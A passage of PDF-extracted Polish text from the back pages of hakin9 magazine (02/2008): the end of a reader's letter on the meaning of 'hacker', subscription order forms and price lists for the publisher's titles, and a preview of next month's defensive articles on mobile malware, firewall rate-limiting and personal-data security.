każdej możliwej okazji wykorzystują to słowo nie zwra-
cając  uwagi  na  jego  właściwe  znaczenie  Apeluję, 
więc,  do  wszystkich:  zastanówcie  się,  zanim  nazwie-
cie  kogoś  hakerem  czy  crackerem,  ponieważ  zawsze 
możecie go urazić, nie zdając sobie sprawy, o czym tak 
naprawdę mówicie. l

Rafał Bednarski gandalfblu@gmail.com

background image

Tytuł

Ilość numerów 

w roku

Ilość zamawianych 

prenumerat

Od numeru pisma 

lub miesiąca

Opłata w zł

z VAT

hakin9 (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

900

Dodatkowy drukowany egzemplarz

12

80

W sumie

(liczba prenumerat x cena)

Formularz zamówienia prenumeraty

Dane osoby / firmy  zamawiającej

Imię i nazwisko

Stanowisko

ID kontrahenta*

* jeżeli jesteś już klientem firmy Software-Wydawnictwo Sp. z o.o. – wystarczy, że podasz swój numer ID kontrahenta; jeżeli nie posiadasz takiego numeru, podaj swe dane teleadresowe                      

Upoważniam firmę Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Pieczęć firmy i podpis

Nazwa firmy

Dokładny adres

Telefon (wraz z numerem kierunkowym)

Faks (wraz z numerem kierunkowym)

Adres e-mail

Numer NIP firmy

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 427 36 69 

lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, 

e-mail: pren@software.com.pl

Przyjmujemy też zamówienia telefoniczne: 

(22) 427 36 79

UWAGA: Nadesłanie zamówienia jest jednocześnie zobowiązaniem do zapłaty.

w w w . b u y i t p r e s s . c o m . p l

Prenumerata korporacyjna hakin9 pozwoli Ci

na dowolne powielenie i rozpowszechnianie pisma 

w obrębie Twojej firmy

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238

W ramach prenumeraty korporacyjnej otrzymają Państwo: 

1. Pismo w wersji elektronicznej

2. Dwa dodatkowe egzemplarze w wersji drukowanej

3. CD-ROM zawierający archiwum wszystkich numerów z 2006 roku

background image

Zaprenumeruj swoje ulubione magazyny 

i zamów archiwalne numery!

Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:

- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia 
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!

www.buyitpress.com

zamówienie prenumeraty

background image

Prosimy wypełnić czytelnie i przesłać faksem na numer: 

(22) 427 36 69 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., 

Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne: 

(22) 427 36 79 

Imię i nazwisko............................................................................................  ID kontrahenta..........................................................................................

Nazwa firmy.................................................................................................     Numer NIP firmy.......................................................................................

Dokładny adres....................................................................................................................................................................................................................

Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................

E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................

zamówienie prenumeraty

1

 Cena prenumeraty rocznej dla osób prywatnych 

2

 Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+

3

 Cena prenumeraty dwuletniej Aurox Linux

  Jeżeli chcesz zapłacić kartą kredytową, wejdź na 

stronę naszego sklepu internetowego:

www.buyitpress.com

automatyczne przedłużenie prenumeraty

Suma

Tytuł

Ilość 

numerów

Ilość 

zamawianych 

prenumerat

Od numeru 

pisma lub 

miesiąca 

Opłata 

w zł 

z VAT

Software Developer’s Journal (1 płyta CD)

– dawniej Software 2.0

Miesięcznik profesjonalnych programistów

12

250/180

1

SDJ Extra

 (od 1 do 4 płyt CD lub DVD)

– dawniej Software 2.0 Extra!

Numery tematyczne dla programistów

6

150/135

2

Linux+DVD (2 płyty DVD)

Miesięcznik o systemie Linux

12

199/179

1

Linux+Extra! (od 1 do 7 płyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa

8

232/198

2

PHP Solutions (1 płyta CD)

Dwumiesięcznik o zastosowaniach języka PHP

6

135

hakin9, jak się obronić (1 płyta CD)

Miesięcznik o bezpieczeństwie i hakingu

12

199

1

/219

.psd (2 płyty CD)

Miesięcznik użytkowników programu Adobe Photoshop

6

140

.psd numery specjalne 

(.psd Extra + .psd Starter Kit)

 6

140

background image

Aktualne informacje o najbliższym numerze 

http://www.hakin9.org/pl
Numer w sprzedaży na początku lutego 2008 r.

Redakcja zastrzega sobie prawo zmiany zawartości pisma.

hakin9

 02/2008 

w następnym numerze 

między innymi:

Zapowiedzi

Komórkowy malware

– zagrożenia i sposoby zapobiegania

Telefony komórkowe, które korzystają z systemu Windows Mobile, są wygod-
ne  w  użyciu  i  coraz  bardziej  zyskują  na  popularności.  Ale  też  coraz  czę-
ściej stają się celem ataku twórców malware'u. Dlatego też konieczne jest 
korzystanie ze swojego telefonu z rozwagą i uwagą. Zhu Cheng przedsta-
wia zagrożenia czyhające na użytkowników oraz sposoby, jak się przed nimi 
obronić.

Hashlimit

Jednym ze znakomitych sposobów dozbrajania oraz poszerzania funkcjo-
nalności firewall, jest korzystanie z łatki hashlimit. Możliwości, jakie ona 
oferuje, są ograniczone jedynie wyobraźnią administratora.

W artykule rozwiązanie to zostanie przedstawione oraz przetestowane 

w rzeczywistym środowisku, które obsługuje sieć na kilka tysięcy klientów 
z dostępem do Internetu (lokalny ISP). Konfigurować będziemy główny ro-
uter, a zarazem firewall, który kontroluje ruch internetowy indywidualnych 
klientów oraz serwera usługowego z zainstalowanymi usługami www/ftp/
mail/dns/ssh
 i Verlihub.

Bezpieczeństwo

teleinformatyczne danych osobowych

System  informatyczny,  w  którym  przetwarzane  są  dane  osobowe, 
powinien  oprócz  wymagań  wynikających  z  przepisów  prawa  uwzględ-
niać  wymagania  Generalnego  Inspektora  Ochrony  Danych  Osobowych 
w zakresie struktur baz danych osobowych oraz funkcjonalności zarzą-
dzających  nimi  aplikacji.  Artykuł  Andrzeja  Guzika  zawiera  przydatne 
informacje, jak zapewnić bezpieczeństwo danym osobowym, które prze-
twarzane są w takim systemie.

NA CD:

•   hakin9.live – bootowalna dystrybucja Linuksa,
•   mnóstwo narzędzi – niezbędnik hakera,
•   tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
•   dodatkowa dokumentacja,
•   pełne wersje komercyjnych aplikacji.

Obrona

Bezpieczna 

Firma

background image
background image